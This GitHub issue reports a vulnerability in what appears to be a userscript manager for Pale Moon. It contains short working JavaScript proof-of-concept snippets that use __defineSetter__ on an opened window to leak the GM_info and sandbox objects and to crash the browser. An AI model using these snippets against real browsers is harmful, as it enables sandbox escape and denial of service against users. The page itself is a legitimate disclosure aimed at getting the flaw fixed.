Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

setter abuse #20

Open
xBZZZZ opened this issue Nov 22, 2021 · 1 comment · May be fixed by #21
Open

setter abuse #20

xBZZZZ opened this issue Nov 22, 2021 · 1 comment · May be fixed by #21

Comments

@xBZZZZ
Copy link

xBZZZZ commented Nov 22, 2021

note: there needs to be running userscript

web page can get GM_info object like this:

open(location.href).__defineSetter__("GM_info",console.log)

web page can get sandbox object like this:

open("/").__defineSetter__("GM_info",v=>{
  const sandbox=v.toString.constructor("return this")()
  console.log(sandbox)
})

web page can CRASH pale moon like this:

open("/").__defineSetter__("GM_info",v=>{
  const sandbox=v.toString.constructor("return this")()
  new sandbox.XPCNativeWrapper(1)
})
@FrostKnight
Copy link

@xBZZZZ

We could use someone to fork this in general, it seems to be either dormant or gone...

If you knew how to fix, feel free.

@xBZZZZ xBZZZZ linked a pull request Jul 1, 2022 that will close this issue
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants